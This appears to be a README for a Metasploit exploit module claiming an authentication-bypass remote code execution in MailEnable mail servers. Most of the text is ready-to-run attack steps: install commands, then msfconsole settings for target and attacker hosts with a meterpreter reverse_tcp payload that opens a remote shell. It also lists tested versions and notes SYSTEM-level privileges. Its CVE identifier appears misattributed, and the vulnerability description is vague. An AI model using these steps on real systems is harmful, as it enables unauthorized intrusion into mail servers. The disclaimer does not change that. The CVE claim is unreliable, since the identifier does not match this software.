
Metasploit module for MailEnable CVE-2022-36934 authentication bypass RCE
Metasploit module for MailEnable's authentication bypass vulnerability (CVE-2022-36934), leading to remote code execution.
cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
reload_all
use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit
🎯 Tested Against:
MailEnable Professional 10.25 Windows Server 2019 MailEnable Enterprise 10.30 Windows Server 2016
📝 Technical Details:
Vulnerability: Authentication bypass via SQLi-like syntax in SMTP/POP3
Attack Vector: Network (ports 25/110)
Privileges: Runs as MailEnable service account (often SYSTEM)
⚠️ Legal Disclaimer:
This tool is for authorized testing only. Never use against systems you don't own or have explicit permission to test.